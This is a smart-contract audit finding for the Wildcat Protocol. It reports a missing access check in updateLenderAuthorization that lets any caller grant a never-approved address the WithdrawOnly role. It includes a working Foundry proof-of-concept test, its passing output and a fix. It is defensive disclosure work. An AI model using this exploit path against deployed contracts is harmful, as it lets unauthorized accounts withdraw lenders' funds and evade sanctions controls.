The Wildcat Protocol - bdmcbri's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatMarketController.sol#L182

Vulnerability details

Summary

A missing access check in the WildcatMarketController leads to arbitrary accounts gaining WithdrawalOnly permissions. This allows any account with market tokens to withdrawal funds in violation of the system design.

Vulnerability Details

On the WildcatMarketController contract a unprivileged user can call updateLenderAuthorization:

function updateLenderAuthorization(address lender, address[] memory markets) external {
    for (uint256 i; i < markets.length; i++) {
      address market = markets[i];
      if (!_controlledMarkets.contains(market)) {
        revert NotControlledMarket();
      }
      WildcatMarket(market).updateAccountAuthorization(lender, _authorizedLenders.contains(lender)); //[1]
    }
  }

updateAccountAuthorization in WildcatMarketConfig.sol will call _getAccount() on supplied lender address:

function updateAccountAuthorization(
    address _account,
    bool _isAuthorized
  ) external onlyController nonReentrant {
    MarketState memory state = _getUpdatedState();
    Account memory account = _getAccount(_account); //[2]
    if (_isAuthorized) {
      account.approval = AuthRole.DepositAndWithdraw;
    } else {
      account.approval = AuthRole.WithdrawOnly;     //[4]
    }
    _accounts[_account] = account;
    _writeState(state);
    emit AuthorizationStatusUpdated(_account, account.approval);
  }

_getAccount in WildcatMarketBase.sol will look up the account in the _accounts mapping and revert if the account.approval == AuthRole.Blocked:

  function _getAccount(address accountAddress) internal view returns (Account memory account) {
    account = _accounts[accountAddress];
    if (account.approval == AuthRole.Blocked) { //[3]
      revert AccountBlacklisted();
    }
  }

The problem is that if the accountAddress has not been initialized in the _accounts mapping then account.approval will be 0, equivalent to AuthRole.Null:

enum AuthRole {
  Null,
  Blocked,
  WithdrawOnly,
  DepositAndWithdraw
}

This results in the account.approval getting set to AuthRole.WithdrawOnly in updateAccountAuthorization ([4] above), even though the accountAddress was never an approved lender. The accountAddress would now be able to withdraw Market Tokens that are transferred to it in violation the intended design of the system as described: "assets of a market should never be able to be withdrawn by anyone that is not the borrower or a lender with either the WithdrawOnly or DepositAndWithdraw role."

The following diagram shows the account approval state machine and transitions. The red arrow is the transition that is problematic in the current system.

Impact

An account that has NEVER been an approved lender could withdraw funds if market tokens are transferred to it. This violates two of the "Main Invariants":

1. "The assets of a market should never be able to be withdrawn by anyone that is not the borrower or a lender with either the WithdrawOnly or DepositAndWithdraw role."
2. Also, "Addresses without the role WithdrawOnly or DepositAndWithdraw should never be able to adjust market token supply."

Additionally, an address that is sanctioned, but not yet in escrow could use this as a mechanism to avoid sanctions.

Proof of Concept

diff --git a/test/WildcatMarketController.t.sol b/test/WildcatMarketController.t.sol
index 63f06c2..8cba223 100644
--- a/test/WildcatMarketController.t.sol
+++ b/test/WildcatMarketController.t.sol
@@ -355,4 +355,42 @@ contract WildcatMarketControllerTest is BaseMarketTest, IWildcatMarketController

     _check(DefaultInterest - 1, DefaultReserveRatio, 0, 0);
   }
+
+  function test_updateLenderAuthorization() public {
+    assert(!controller.isAuthorizedLender(address(this)));
+    assert(controller.getControlledMarkets().length != 0);
+
+    //alice lends money
+    _deposit(alice, 50_000e18);
+
+    //then transfers some of the market tokens; this should be allowed
+    vm.prank(alice);
+    market.transfer(address(this), 25_000e18);
+
+    //However, address(this) is not approved as a lender (and never has been), so cannot withdraw
+    //from the market even though alice transferred the market tokens. This is as designed.  "The
+    //assets of a market should never be able to be withdrawn by anyone that is not the borrower
+    //or a lender with either the `WithdrawOnly` or `DepositAndWithdraw` role"
+    address[] memory _markets = controller.getControlledMarkets();
+    //Account role prior to call
+    for (uint256 i=0; i < _markets.length; i++) {
+       console2.log("Initial account approval for address(this): %d", uint256(WildcatMarket(_markets[i]).getAccountRole(address(this))));
+    }
+    //This withdrawal should fail (as designed)
+    vm.expectRevert(NotApprovedLender.selector);
+    market.queueWithdrawal(25_000e18);
+    console2.log("Attempting to withdraw ... failed as expected");
+
+    //Exercise bug in the account approval state machine
+    controller.updateLenderAuthorization(address(this), controller.getControlledMarkets());
+
+    //Account role after the call
+    for (uint256 i=0; i < _markets.length; i++) {
+       console2.log("Updated account approval for address(this): %d", uint256(WildcatMarket(_markets[i]).getAccountRole(address(this))));
+    }
+
+    //Now withdrawing should succeed, violating the design
+    market.queueWithdrawal(25_000e18);
+    console2.log("Second attempt to withdraw succeeds");
+  }
 }

Output:

$ forge test -vvv --match-test test_updateLenderAuthorization
[⠑] Compiling...
[⠔] Compiling 1 files with 0.8.21
[⠒] Solc 0.8.21 finished in 6.66s
Compiler run successful with warnings:
Warning (1699): "selfdestruct" has been deprecated. The underlying opcode will eventually undergo breaking changes, and its use is not recommended.
  --> test/helpers/VmUtils.sol:29:7:
   |
29 |       selfdestruct(caller())
   |       ^^^^^^^^^^^^

Warning (2018): Function state mutability can be restricted to pure
  --> test/WildcatMarketController.t.sol:83:3:
   |
83 |   function _getLenders() internal view returns (address[] memory lenders) {
   |   ^ (Relevant source part starts here and spans across multiple lines).


Running 1 test for test/WildcatMarketController.t.sol:WildcatMarketControllerTest
[PASS] test_updateLenderAuthorization() (gas: 423817)
Logs:
  Initial account approval for address(this): 0
  Attempting to withdraw ... failed as expected
  Updated account approval for address(this): 2
  Second attempt to withdraw succeeds

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.44ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual audit. Foundry was used to test the vulnerability.

Recommended Mitigation Steps

Add the onlyBorrower modifier to updateLenderAuthorization function in WildcatMarketController.

Assessed type

Access Control